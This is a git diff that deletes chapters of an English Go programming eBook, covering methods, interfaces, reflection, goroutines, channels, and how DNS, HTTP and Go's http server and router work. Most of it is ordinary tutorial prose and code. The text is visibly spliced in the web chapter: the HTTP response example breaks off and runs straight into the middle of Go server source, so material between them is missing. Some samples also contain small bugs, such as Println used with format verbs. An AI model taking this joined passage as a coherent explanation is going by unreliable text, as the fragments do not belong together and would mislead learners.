fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") - fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String()) - fmt.Println("The biggest one is", boxes.BiggestsColor().String()) - - fmt.Println("Let's paint them all black") - boxes.PaintItBlack() - fmt.Println("The color of the second one is", boxes[1].color.String()) - - fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String()) - } - -We define some constants and customized types. - -- Use `Color` as alias of `byte`. -- Define a struct `Box` which has fields height, width, length and color. -- Define a struct `BoxList` which has `Box` as its field. - -Then we defined some methods for our customized types. - -- Volume() uses Box as its receiver and returns volume of Box. -- SetColor(c Color) changes Box's color. -- BiggestsColor() returns the color which has the biggest volume. -- PaintItBlack() sets color for all Box in BoxList to black. -- String() use Color as its receiver, returns the string format of color name. - -Is it much clearer when we use words to describe our requirements? We often write our requirements before we start coding. - -### Use pointer as receiver - -Let's take a look at `SetColor` method. Its receiver is a pointer of Box. Yes, you can use `*Box` as a receiver. Why do we use a pointer here? Because we want to change Box's color in this method. Thus, if we don't use a pointer, it will only change the value inside a copy of Box. - -If we see that a receiver is the first argument of a method, it's not hard to understand how it works. - -You might be asking why we aren't using `(*b).Color=c` instead of `b.Color=c` in the SetColor() method. Either one is OK here because Go knows how to interpret the assignment. Do you think Go is more fascinating now? - -You may also be asking whether we should use `(&bl[i]).SetColor(BLACK)` in `PaintItBlack` because we pass a pointer to `SetColor`. Again, either one is OK because Go knows how to interpret it! - -### Inheritance of method - -We learned about inheritance of fields in the last section. Similarly, we also have method inheritance in Go. If an anonymous field has methods, then the struct that contains the field will have all the methods from it as well. - - package main - import "fmt" - - type Human struct { - name string - age int - phone string - } - - type Student struct { - Human // anonymous field - school string - } - - type Employee struct { - Human - company string - } - - // define a method in Human - func (h *Human) SayHi() { - fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) - } - - func main() { - mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} - sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} - - mark.SayHi() - sam.SayHi() - } - -### Method overload - -If we want Employee to have its own method `SayHi`, we can define a method that has the same name in Employee, and it will hide `SayHi` in Human when we call it. - - package main - import "fmt" - - type Human struct { - name string - age int - phone string - } - - type Student struct { - Human - school string - } - - type Employee struct { - Human - company string - } - - func (h *Human) SayHi() { - fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) - } - - func (e *Employee) SayHi() { - fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, - e.company, e.phone) //Yes you can split into 2 lines here. - } - - func main() { - mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} - sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} - - mark.SayHi() - sam.SayHi() - } - -You are able to write an Object-oriented program now, and methods use rule of capital letter to decide whether public or private as well. - -## Links - -- [Directory](preface.md) -- Previous section: [struct](02.4.md) -- Next section: [interface](02.6.md) diff --git a/en/eBook/02.6.md b/en/eBook/02.6.md deleted file mode 100644 index 310c545f..00000000 --- a/en/eBook/02.6.md +++ /dev/null @@ -1,395 +0,0 @@ -# 2.6 Interface - -## Interface - -One of the subtlest design features in Go are interfaces. After reading this section, you will likely be impressed by their implementation. - -### What is an interface - -In short, an interface is a set of methods that we use to define a set of actions. - -Like the examples in previous sections, both Student and Employee can `SayHi()`, but they don't do the same thing. - -Let's do some more work. We'll add one more method `Sing()` to them, along with the `BorrowMoney()` method to Student and the `SpendSalary()` method to Employee. - -Now, Student has three methods called `SayHi()`, `Sing()` and `BorrowMoney()`, and Employee has `SayHi()`, `Sing()` and `SpendSalary()`. - -This combination of methods is called an interface and is implemented by both Student and Employee. So, Student and Employee implement the interface: `SayHi()` and `Sing()`. At the same time, Employee doesn't implement the interface: `SayHi()`, `Sing()`, `BorrowMoney()`, and Student doesn't implement the interface: `SayHi()`, `Sing()`, `SpendSalary()`. This is because Employee doesn't have the method `BorrowMoney()` and Student doesn't have the method `SpendSalary()`. - -### Type of Interface - -An interface defines a set of methods, so if a type implements all the methods we say that it implements the interface. - - type Human struct { - name string - age int - phone string - } - - type Student struct { - Human - school string - loan float32 - } - - type Employee struct { - Human - company string - money float32 - } - - func (h *Human) SayHi() { - fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) - } - - func (h *Human) Sing(lyrics string) { - fmt.Println("La la, la la la, la la la la la...", lyrics) - } - - func (h *Human) Guzzle(beerStein string) { - fmt.Println("Guzzle Guzzle Guzzle...", beerStein) - } - - // Employee overloads Sayhi - func (e *Employee) SayHi() { - fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, - e.company, e.phone) //Yes you can split into 2 lines here. - } - - func (s *Student) BorrowMoney(amount float32) { - s.loan += amount // (again and again and...) - } - - func (e *Employee) SpendSalary(amount float32) { - e.money -= amount // More vodka please!!! Get me through the day! - } - - // define interface - type Men interface { - SayHi() - Sing(lyrics string) - Guzzle(beerStein string) - } - - type YoungChap interface { - SayHi() - Sing(song string) - BorrowMoney(amount float32) - } - - type ElderlyGent interface { - SayHi() - Sing(song string) - SpendSalary(amount float32) - } - -We know that an interface can be implemented by any type, and one type can implement many interfaces simultaneously. - -Note that any type implements the empty interface `interface{}` because it doesn't have any methods and all types have zero methods by default. - -### Value of interface - -So what kind of values can be put in the interface? If we define a variable as a type interface, any type that implements the interface can assigned to this variable. - -Like the above example, if we define a variable "m" as interface Men, then any one of Student, Human or Employee can be assigned to "m". So we could have a slice of Men, and any type that implements interface Men can assign to this slice. Be aware however that the slice of interface doesn't have the same behavior as a slice of other types. - - package main - - import "fmt" - - type Human struct { - name string - age int - phone string - } - - type Student struct { - Human - school string - loan float32 - } - - type Employee struct { - Human - company string - money float32 - } - - func (h Human) SayHi() { - fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) - } - - func (h Human) Sing(lyrics string) { - fmt.Println("La la la la...", lyrics) - } - - func (e Employee) SayHi() { - fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, - e.company, e.phone) //Yes you can split into 2 lines here. - } - - // Interface Men implemented by Human, Student and Employee - type Men interface { - SayHi() - Sing(lyrics string) - } - - func main() { - mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} - paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} - sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} - Tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000} - - // define interface i - var i Men - - //i can store Student - i = mike - fmt.Println("This is Mike, a Student:") - i.SayHi() - i.Sing("November rain") - - //i can store Employee - i = Tom - fmt.Println("This is Tom, an Employee:") - i.SayHi() - i.Sing("Born to be wild") - - // slice of Men - fmt.Println("Let's use a slice of Men and see what happens") - x := make([]Men, 3) - // these three elements are different types but they all implemented interface Men - x[0], x[1], x[2] = paul, sam, mike - - for _, value := range x { - value.SayHi() - } - } - - -An interface is a set of abstract methods, and can be implemented by non-interface types. It cannot therefore implement itself. - -### Empty interface - -An empty interface is an interface that doesn't contain any methods, so all types implement an empty interface. This fact is very useful when we want to store all types at some point, and is similar to void* in C. - - // define a as empty interface - var a interface{} - var i int = 5 - s := "Hello world" - // a can store value of any type - a = i - a = s - -If a function uses an empty interface as its argument type, it can accept any type; if a function uses empty as its return value type, it can return any type. - -### Method arguments of an interface - -Any variable can be used in an interface. So how can we use this feature to pass any type of variable to a function? - -For example we use fmt.Println a lot, but have you ever noticed that it can accept any type of argument? Looking at the open source code of fmt, we see the following definition. - - type Stringer interface { - String() string - } - -This means any type that implements interface Stringer can be passed to fmt.Println as an argument. Let's prove it. - - package main - - import ( - "fmt" - "strconv" - ) - - type Human struct { - name string - age int - phone string - } - - // Human implemented fmt.Stringer - func (h Human) String() string { - return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone - } - - func main() { - Bob := Human{"Bob", 39, "000-7777-XXX"} - fmt.Println("This Human is : ", Bob) - } - - -Looking back to the example of Box, you will find that Color implements interface Stringer as well, so we are able to customize the print format. If we don't implement this interface, fmt.Println prints the type with its default format. - - fmt.Println("The biggest one is", boxes.BiggestsColor().String()) - fmt.Println("The biggest one is", boxes.BiggestsColor()) - -Attention: If the type implemented the interface `error`, fmt will call `error()`, so you don't have to implement Stringer at this point. - -### Type of variable in an interface - -If a variable is the type that implements an interface, we know that any other type that implements the same interface can be assigned to this variable. The question is how can we know the specific type stored in the interface. There are two ways which I will show you. - -- Assertion of Comma-ok pattern - -Go has the syntax `value, ok := element.(T)`. This checks to see if the variable is the type that we expect, where "value" is the value of the variable, "ok" is a variable of boolean type, "element" is the interface variable and the T is the type of assertion. - -If the element is the type that we expect, ok will be true, false otherwise. - -Let's use an example to see more clearly. - - package main - - import ( - "fmt" - "strconv" - ) - - type Element interface{} - type List []Element - - type Person struct { - name string - age int - } - - func (p Person) String() string { - return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" - } - - func main() { - list := make(List, 3) - list[0] = 1 // an int - list[1] = "Hello" // a string - list[2] = Person{"Dennis", 70} - - for index, element := range list { - if value, ok := element.(int); ok { - fmt.Printf("list[%d] is an int and its value is %d\n", index, value) - } else if value, ok := element.(string); ok { - fmt.Printf("list[%d] is a string and its value is %s\n", index, value) - } else if value, ok := element.(Person); ok { - fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) - } else { - fmt.Println("list[%d] is of a different type", index) - } - } - } - -It's quite easy to use this pattern, but if we have many types to test, we'd better use `switch`. - -- switch test - -Let's use `switch` to rewrite the above example. - - package main - - import ( - "fmt" - "strconv" - ) - - type Element interface{} - type List []Element - - type Person struct { - name string - age int - } - - func (p Person) String() string { - return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" - } - - func main() { - list := make(List, 3) - list[0] = 1 //an int - list[1] = "Hello" //a string - list[2] = Person{"Dennis", 70} - - for index, element := range list { - switch value := element.(type) { - case int: - fmt.Printf("list[%d] is an int and its value is %d\n", index, value) - case string: - fmt.Printf("list[%d] is a string and its value is %s\n", index, value) - case Person: - fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) - default: - fmt.Println("list[%d] is of a different type", index) - } - } - } - - -One thing you should remember is that `element.(type)` cannot be used outside of the `switch` body, which means in that case you have to use the `comma-ok` pattern . - -### Embedded interfaces - -The most beautiful thing is that Go has a lot of built-in logic syntax, such as anonymous fields in struct. Not suprisingly, we can use interfaces as anonymous fields as well, but we call them `Embedded interfaces`. Here, we follow the same rules as anonymous fields. More specifically, if an interface has another interface embedded within it, it will have as if it has all the methods that the embedded interface has. - -We can see that the source file in `container/heap` has the following definition: - - type Interface interface { - sort.Interface // embedded sort.Interface - Push(x interface{}) //a Push method to push elements into the heap - Pop() interface{} //a Pop elements that pops elements from the heap - } - -We see that `sort.Interface` is an embedded interface, so the above Interface has the three methods contained within the `sort.Interface` implicitly. - - type Interface interface { - // Len is the number of elements in the collection. - Len() int - // Less returns whether the element with index i should sort - // before the element with index j. - Less(i, j int) bool - // Swap swaps the elements with indexes i and j. - Swap(i, j int) - } - -Another example is the `io.ReadWriter` in package `io`. - - // io.ReadWriter - type ReadWriter interface { - Reader - Writer - } - -### Reflection - -Reflection in Go is used for determining information at runtime. We use the `reflect` package, and this official [article](http://golang.org/doc/articles/laws_of_reflection.html) explains how reflect works in Go. - -There are three steps involved when using reflect. First, we need to convert an interface to reflect types (reflect.Type or reflect.Value, this depends on the situation). - - t := reflect.TypeOf(i) // get meta-data in type i, and use t to get all elements - v := reflect.ValueOf(i) // get actual value in type i, and use v to change its value - -After that, we can convert the reflected types to get the values that we need. - - var x float64 = 3.4 - v := reflect.ValueOf(x) - fmt.Println("type:", v.Type()) - fmt.Println("kind is float64:", v.Kind() == reflect.Float64) - fmt.Println("value:", v.Float()) - -Finally, if we want to change the values of the reflected types, we need to make it modifiable. As discussed earlier, there is a difference between pass by value and pass by reference. The following code will not compile. - - var x float64 = 3.4 - v := reflect.ValueOf(x) - v.SetFloat(7.1) - -Instead, we must use the following code to change the values from reflect types. - - var x float64 = 3.4 - p := reflect.ValueOf(&x) - v := p.Elem() - v.SetFloat(7.1) - -We have just discussed the basics of reflection, however you must practice more in order to understand more. - -## Links - -- [Directory](preface.md) -- Previous section: [Object-oriented](02.5.md) -- Next section: [Concurrency](02.7.md) diff --git a/en/eBook/02.7.md b/en/eBook/02.7.md deleted file mode 100644 index dd6ecf52..00000000 --- a/en/eBook/02.7.md +++ /dev/null @@ -1,242 +0,0 @@ -# Concurrency - -It is said that Go is the C language of the 21st century. I think there are two reasons: first, Go is a simple language; second, concurrency is a hot topic in today's world, and Go supports this feature at the language level. - -## goroutine - -goroutines and concurrency are built into the core design of Go. They're similar to threads but work differently. More than a dozen goroutines maybe only have 5 or 6 underlying threads. Go also gives you full support to sharing memory in your goroutines. One goroutine usually uses 4~5 KB of stack memory. Therefore, it's not hard to run thousands of goroutines on a single computer. A goroutine is more lightweight, more efficient and more convenient than system threads. - -goroutines run on the thread manager at runtime in Go. We use the `go` keyword to create a new goroutine, which is a function at the underlying level ( ***main() is a goroutine*** ). - - go hello(a, b, c) - -Let's see an example. - - package main - - import ( - "fmt" - "runtime" - ) - - func say(s string) { - for i := 0; i < 5; i++ { - runtime.Gosched() - fmt.Println(s) - } - } - - func main() { - go say("world") // create a new goroutine - say("hello") // current goroutine - } - -Output: - - hello - world - hello - world - hello - world - hello - world - hello - -We see that it's very easy to use concurrency in Go by using the keyword `go`. In the above example, these two goroutines share some memory, but we would better off following the design recipe: Don't use shared data to communicate, use communication to share data. - -runtime.Gosched() means let the CPU execute other goroutines, and come back at some point. - -The scheduler only uses one thread to run all goroutines, which means it only implements concurrency. If you want to use more CPU cores in order to take advantage of parallel processing, you have to call runtime.GOMAXPROCS(n) to set the number of cores you want to use. If `n<1`, it changes nothing. This function may be removed in the future, see more details about parallel processing and concurrency in this [article](http://concur.rspace.googlecode.com/hg/talk/concur.html#landing-slide). - -## channels - -goroutines run in the same memory address space, so you have to maintain synchronization when you want to access shared memory. How do you communicate between different goroutines? Go uses a very good communication mechanism called `channel`. `channel` is like a two-way pipeline in Unix shells: use `channel` to send or receive data. The only data type that can be used in channels is the type `channel` and the keyword `chan`. Be aware that you have to use `make` to create a new `channel`. - - ci := make(chan int) - cs := make(chan string) - cf := make(chan interface{}) - -channel uses the operator `<-` to send or receive data. - - ch <- v // send v to channel ch. - v := <-ch // receive data from ch, and assign to v - -Let's see more examples. - - package main - - import "fmt" - - func sum(a []int, c chan int) { - total := 0 - for _, v := range a { - total += v - } - c <- total // send total to c - } - - func main() { - a := []int{7, 2, 8, -9, 4, 0} - - c := make(chan int) - go sum(a[:len(a)/2], c) - go sum(a[len(a)/2:], c) - x, y := <-c, <-c // receive from c - - fmt.Println(x, y, x + y) - } - -Sending and receiving data in channels blocks by default, so it's much easier to use synchronous goroutines. What I mean by block is that a goroutine will not continue when receiving data from an empty channel, i.e (`value := <-ch`), until other goroutines send data to this channel. On the other hand, the goroutine will not continue until the data it sends to a channel, i.e (`ch<-5`), is received. - -## Buffered channels - -I introduced non-buffered channels above. Go also has buffered channels that can store more than a single element. For example, `ch := make(chan bool, 4)`, here we create a channel that can store 4 boolean elements. So in this channel, we are able to send 4 elements into it without blocking, but the goroutine will be blocked when you try to send a fifth element and no goroutine receives it. - - ch := make(chan type, n) - - n == 0 ! non-buffer(block) - n > 0 ! buffer(non-block until n elements in the channel) - -You can try the following code on your computer and change some values. - - package main - - import "fmt" - - func main() { - c := make(chan int, 2) // change 2 to 1 will have runtime error, but 3 is fine - c <- 1 - c <- 2 - fmt.Println(<-c) - fmt.Println(<-c) - } - -## Range and Close - -We can use range to operate on buffer channels as in slice and map. - - package main - - import ( - "fmt" - ) - - func fibonacci(n int, c chan int) { - x, y := 1, 1 - for i := 0; i < n; i++ { - c <- x - x, y = y, x + y - } - close(c) - } - - func main() { - c := make(chan int, 10) - go fibonacci(cap(c), c) - for i := range c { - fmt.Println(i) - } - } - -`for i := range c` will not stop reading data from channel until the channel is closed. We use the keyword `close` to close the channel in above example. It's impossible to send or receive data on a closed channel; you can use `v, ok := <-ch` to test if a channel is closed. If `ok` returns false, it means the there is no data in that channel and it was closed. - -Remember to always close channels in producers and not in consumers, or it's very easy to get into panic status. - -Another thing you need to remember is that channels are not like files. You don't have to close them frequently unless you are sure the channel is completely useless, or you want to exit range loops. - -## Select - -In the above examples, we only use one channel, but how can we deal with more than one channel? Go has a keyword called `select` to listen to many channels. - -`select` is blocking by default and it continues to execute only when one of channels has data to send or receive. If several channels are ready to use at the same time, select chooses which to execute randomly. - - package main - - import "fmt" - - func fibonacci(c, quit chan int) { - x, y := 1, 1 - for { - select { - case c <- x: - x, y = y, x + y - case <-quit: - fmt.Println("quit") - return - } - } - } - - func main() { - c := make(chan int) - quit := make(chan int) - go func() { - for i := 0; i < 10; i++ { - fmt.Println(<-c) - } - quit <- 0 - }() - fibonacci(c, quit) - } - -`select` has a `default` case as well, just like `switch`. When all the channels are not ready for use, it executes the default case (it doesn't wait for the channel anymore). - - select { - case i := <-c: - // use i - default: - // executes here when c is blocked - } - -## Timeout - -Sometimes a goroutine becomes blocked. How can we avoid this to prevent the whole program from blocking? It's simple, we can set a timeout in the select. - - func main() { - c := make(chan int) - o := make(chan bool) - go func() { - for { - select { - case v := <- c: - println(v) - case <- time.After(5 * time.Second): - println("timeout") - o <- true - break - } - } - }() - <- o - } - -## Runtime goroutine - -The package `runtime` has some functions for dealing with goroutines. - -- `runtime.Goexit()` - - Exits the current goroutine, but defered functions will be executed as usual. - -- `runtime.Gosched()` - - Lets the scheduler execute other goroutines and comes back at some point. - -- `runtime.NumCPU() int` - - Returns the number of CPU cores - -- `runtime.NumGoroutine() int` - - Returns the number of goroutines - -- `runtime.GOMAXPROCS(n int) int` - - Sets how many CPU cores you want to use - -## Links - -- [Directory](preface.md) -- Previous section: [interface](02.6.md) -- Next section: [Summary](02.8.md) diff --git a/en/eBook/02.8.md b/en/eBook/02.8.md deleted file mode 100644 index b1306758..00000000 --- a/en/eBook/02.8.md +++ /dev/null @@ -1,32 +0,0 @@ -# 2.8 Summary - -In this chapter, we mainly introduced the 25 Go keywords. Let's review what they are and what they do. - - break default func interface select - case defer go map struct - chan else goto package switch - const fallthrough if range type - continue for import return var - -- `var` and `const` are used to define variables and constants. -- `package` and `import` are for package use. -- `func` is used to define functions and methods. -- `return` is used to return values in functions or methods. -- `defer` is used to define defer functions. -- `go` is used to start a new goroutine. -- `select` is used to switch over multiple channels for communication. -- `interface` is used to define interfaces. -- `struct` is used to define special customized types. -- `break`, `case`, `continue`, `for`, `fallthrough`, `else`, `if`, `switch`, `goto` and `default` were introduced in section 2.3. -- `chan` is the type of channel for communication among goroutines. -- `type` is used to define customized types. -- `map` is used to define map which is similar to hash tables in other languages. -- `range` is used for reading data from `slice`, `map` and `channel`. - -If you understand how to use these 25 keywords, you've learned a lot of Go already. - -## Links - -- [Directory](preface.md) -- Previous section: [Concurrency](02.7.md) -- Next chapter: [Web foundation](03.0.md) diff --git a/en/eBook/03.0.md b/en/eBook/03.0.md deleted file mode 100644 index ca192cff..00000000 --- a/en/eBook/03.0.md +++ /dev/null @@ -1,9 +0,0 @@ -#3 Web foundation - -The reason you are reading this book is that you want to learn to build web applications in Go. As i've said before, Go provides many powerful packages like `http`. These packages can help you a lot when trying to build web applications. I'll teach you everything you need to know in the following chapters, and we'll talk about some concepts of the web and how to run web applications in Go in this chapter. - -## Links - -- [Directory](preface.md) -- Previous chapter: [Chapter 2 Summary](02.8.md) -- Next section: [Web working principles](03.1.md) diff --git a/en/eBook/03.1.md b/en/eBook/03.1.md deleted file mode 100644 index d3dc03e3..00000000 --- a/en/eBook/03.1.md +++ /dev/null @@ -1,153 +0,0 @@ -# Web working principles - -Every time you open your browsers, type some URLs and press enter, you will see beautiful web pages appear on your screen. But do you know what is happening behind these simple actions? - -Normally, your browser is a client. After you type a URL, it takes the host part of the URL and sends it to a DNS server in order to get the IP address of the host. Then it connects to the IP address and asks to setup a TCP connection. The browser sends HTTP requests through the connection. The server server handles them and replies with HTTP responses containing the content that make up the web page. Finally, the browser renders bodies of the web pages and disconnects from the server. - -![](images/3.1.web2.png?raw=true) - -Figure 3.1 Processes of users visit a website - -A web server, also known as an HTTP server, uses the HTTP protocol to communicate with clients. All web browsers can be considered as clients. - -We can divide the web's working principles into the following steps: - -- Client uses TCP/IP protocol to connect to server. -- Client sends HTTP request packages to server. -- Server returns HTTP response packages to client. If the requested resources include dynamic scripts, server calls script engine first. -- Client disconnects from server, starts rendering HTML. - -This is a simple work flow of HTTP affairs -notice that the server closes connections after sending data to clients every time, then waits for the next request. - -## URL and DNS resolution - -We always use URLs to access web pages, but do you know how URLs work? - -The full name of a URL is Uniform Resource Locator. It's for describing resources on the internet and its basic form is as follows. - - scheme://host[:port#]/path/.../[?query-string][#anchor] - scheme assign underlying protocol (such as HTTP, HTTPS, FTP) - host IP or domain name of HTTP server - port# default port is 80, and it can be omitted in this case. If you want to use other ports, you must specify which port. For example, http://www.cnblogs.com:8080/ - path resources path - query-string data are sent to server - anchor anchor - -DNS is an abbreviation of Domain Name System. It's the naming system for computer network services, and it converts domain names to actual IP addresses, just like a translator. - -![](images/3.1.dns_hierachy.png?raw=true) - -Figure 3.2 DNS working principles - -To understand more about its working principle, let's see the detailed DNS resolution process as follows. - -1. After typing the domain name `www.qq.com` in the browser, the operating system will check if there are any mapping relationships in the hosts' files for this domain name. If so, then the domain name resolution is complete. -2. If no mapping relationships exist in the hosts' files, the operating system will check if any cache exists in the DNS. If so, then the domain name resolution is complete. -3. If no mapping relationships exist in both the host and DNS cache, the operating system finds the first DNS resolution server in your TCP/IP settings, which is likely your local DNS server. When the local DNS server receives the query, if the domain name that you want to query is contained within the local configuration of its regional resources, it returns the results to the client. This DNS resolution is authoritative. -4. If the local DNS server doesn't contain the domain name but a mapping relationship exists in the cache, the local DNS server gives back this result to the client. This DNS resolution is not authoritative. -5. If the local DNS server cannot resolve this domain name either by configuration of regional resources or cache, it will proceed to the next step, which depends on the local DNS server's settings. --If the local DNS server doesn't enable forwarding, it routes the request to the root DNS server, then returns the IP address of a top level DNS server which may know the domain name, `.com` in this case. If the first top level DNS server doesn't recognize the domain name, it again reroutes the request to the next top level DNS server until it reaches one that recognizes the domain name. Then the top level DNS server asks this next level DNS server for the IP address corresponding to `www.qq.com`. --If the local DNS server has forwarding enabled, it sends the request to an upper level DNS server. If the upper level DNS server also doesn't recognize the domain name, then the request keeps getting rerouted to higher levels until it finally reaches a DNS server which recognizes the domain name. - -Whether or not the local DNS server enables forwarding, the IP address of the domain name always returns to the local DNS server, and the local DNS server sends it back to the client. - -![](images/3.1.dns_inquery.png?raw=true) - -Figure 3.3 DNS resolution work flow - -`Recursive query process` simply means that the enquirers change in the process. Enquirers do not change in `Iterative query` processes. - -Now we know clients get IP addresses in the end, so the browsers are communicating with servers through IP addresses. - -## HTTP protocol - -The HTTP protocol is a core part of web services. It's important to know what the HTTP protocol is before you understand how the web works. - -HTTP is the protocol that is used to facilitate communication between browsers and web servers. It is based on the TCP protocol and usually uses port 80 on the side of the web server. It is a protocol that utilizes the request-response model -clients send requests and servers respond. According to the HTTP protocol, clients always setup new connections and send HTTP requests to servers. Servers are not able to connect to clients proactively, or establish callback connections. The connection between a client and a server can be closed by either side. For example, you can cancel your download request and HTTP connection and your browser will disconnect from the server before you finish downloading. - -The HTTP protocol is stateless, which means the server has no idea about the relationship between the two connections even though they are both from same client. To solve this problem, web applications use cookies to maintain the state of connections. - -Because the HTTP protocol is based on the TCP protocol, all TCP attacks will affect HTTP communications in your server. Examples of such attacks are SYN flooding, DoS and DDoS attacks. - -### HTTP request package (browser information) - -Request packages all have three parts: request line, request header, and body. There is one blank line between header and body. - - GET /domains/example/ HTTP/1.1 // request line: request method, URL, protocol and its version - Host:www.iana.org // domain name - User-Agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 // browser information - Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 // mine that clients can accept - Accept-Encoding:gzip,deflate,sdch // stream compression - Accept-Charset:UTF-8,*;q=0.5 // character set in client side - // blank line - // body, request resource arguments (for example, arguments in POST) - -We use fiddler to get the following request information. - -![](images/3.1.http.png?raw=true) - -Figure 3.4 Information of a GET request caught by fiddler - -![](images/3.1.httpPOST.png?raw=true) - -Figure 3.5 Information of a POST request caught by fiddler - -**We can see that GET does not have a request body, unlike POST, which does.** - -There are many methods you can use to communicate with servers in HTTP; GET, POST, PUT and DELETE are the 4 basic methods that we typically use. A URL represents a resource on a network, so these 4 methods define the query, change, add and delete operations that can act on these resources. GET and POST are very commonly used in HTTP. GET can append query parameters to the URL, using `?` to separate the URL and parameters and `&` between the arguments, like `EditPosts.aspx?name=test1&id=123456`. POST puts data in the request body because the URL implements a length limitation via the browser. Thus, POST can submit much more data than GET. Also, when we submit user names and passwords, we don't want this kind of information to appear in the URL, so we use POST to keep them invisible. - -### HTTP response package (server information) - -Let's see what information is contained in the response packages. - - HTTP/1.1 200 OK // status line - Server: nginx/1.0.8 // web server software and its version in the server machine - Date:Date: Tue, 30 Oct 2012 04:14:25 GMT // responded time - Content-Type: text/html // responded data type - Transfer-Encoding: chunked // it means data were sent in fragments - Connection: keep-alive // keep connection - Content-Length: 90 // length of body - // blank line - max { - tempDelay = max - } - log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay) - time.Sleep(tempDelay) - continue - } - return e - } - tempDelay = 0 - c, err := srv.newConn(rw) - if err != nil { - continue - } - go c.serve() - } - } - - -How do we accept client requests after we begin listening to a port? In the source code, we can see that `srv.Serve(net.Listener)` is called to handle client requests. In the body of the function there is a `for{}`. It accepts a request, creates a new connection then starts a new goroutine, passing the request data to the `go c.serve()` goroutine. This is how Go supports high concurrency, and every goroutine is independent. - -How do we use specific functions to handle requests? `conn` parses request `c.ReadRequest()` at first, then gets the corresponding handler: `handler := c.server.Handler` which is the second argument we passed when we called `ListenAndServe`. Because we passed `nil`, Go uses its default handler `handler = DefaultServeMux`. So what is `DefaultServeMux` doing here? Well, its the router variable which can call handler functions for specific URLs. Did we set this? Yes, we did. We did this in the first line where we used `http.HandleFunc("/", sayhelloName)`. We're using this function to register the router rule for the "/" path. When the URL is `/`, the router calls the function `sayhelloName`. DefaultServeMux calls ServerHTTP to get handler functions for different paths, calling `sayhelloName` in this specific case. Finally, the server writes data and responds to clients. - -Detailed work flow: - -![](images/3.3.illustrator.png?raw=true) - -Figure 3.10 Work flow of handling an HTTP request - -I think you should know how Go runs web servers now. - -## Links - -- [Directory](preface.md) -- Previous section: [Build a simple web server](03.2.md) -- Next section: [Get into http package](03.4.md) diff --git a/en/eBook/03.4.md b/en/eBook/03.4.md deleted file mode 100644 index 08062cfb..00000000 --- a/en/eBook/03.4.md +++ /dev/null @@ -1,135 +0,0 @@ -# 3.4 Get into http package - -In previous sections, we learned about the work flow of the web and talked a little bit about Go's `http` package. In this section, we are going to learn about two core functions in the `http` package: Conn and ServeMux. - -## goroutine in Conn - -Unlike normal HTTP servers, Go uses goroutines for every job initiated by Conn in order to achieve high concurrency and performance, so every job is independent. - -Go uses the following code to wait for new connections from clients. - - c, err := srv.newConn(rw) - if err != nil { - continue - } - go c.serve() - -As you can see, it creates a new goroutine for every connection, and passes the handler that is able to read data from the request to the goroutine. - -## Customized ServeMux - -We used Go's default router in previous sections when discussing conn.server, with the router passing request data to a back-end handler. - -The struct of the default router: - - type ServeMux struct { - mu sync.RWMutex // because of concurrency, we have to use a mutex here - m map[string]muxEntry // router rules, every string mapping to a handler - } - -The struct of muxEntry: - - type muxEntry struct { - explicit bool // exact match or not - h Handler - } - -The interface of Handler: - - type Handler interface { - ServeHTTP(ResponseWriter, *Request) // routing implementer - } - -`Handler` is an interface, but if the function `sayhelloName` didn't implement this interface, then how did we add it as handler? The answer lies in another type called `HandlerFunc` in the `http` package. We called `HandlerFunc` to define our `sayhelloName` method, so `sayhelloName` implemented `Handler` at the same time. It's like we're calling `HandlerFunc(f)`, and the function `f` is force converted to type `HandlerFunc`. - - type HandlerFunc func(ResponseWriter, *Request) - - // ServeHTTP calls f(w, r). - func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) { - f(w, r) - } - -How does the router call handlers after we set the router rules? - -The router calls `mux.handler.ServeHTTP(w, r)` when it receives requests. In other words, it calls the `ServeHTTP` interface of the handlers which have implemented it. - -Now, let's see how `mux.handler` works. - - func (mux *ServeMux) handler(r *Request) Handler { - mux.mu.RLock() - defer mux.mu.RUnlock() - - // Host-specific pattern takes precedence over generic ones - h := mux.match(r.Host + r.URL.Path) - if h == nil { - h = mux.match(r.URL.Path) - } - if h == nil { - h = NotFoundHandler() - } - return h - } - -The router uses the request's URL as a key to find the corresponding handler saved in the map, then calls handler.ServeHTTP to execute functions to handle the data. - -You should understand the default router's work flow by now, and Go actually supports customized routers. The second argument of `ListenAndServe` is for configuring customized routers. It's an interface of `Handler`. Therefore, any router that implements the `Handler` interface can be used. - -The following example shows how to implement a simple router. - - package main - - import ( - "fmt" - "net/http" - ) - - type MyMux struct { - } - - func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { - if r.URL.Path == "/" { - sayhelloName(w, r) - return - } - http.NotFound(w, r) - return - } - - func sayhelloName(w http.ResponseWriter, r *http.Request) { - fmt.Fprintf(w, "Hello myroute!") - } - - func main() { - mux := &MyMux{} - http.ListenAndServe(":9090", mux) - } - -## Go code execution flow - -Let's take a look at the whole execution flow. - -- Call `http.HandleFunc` - 1. Call HandleFunc of 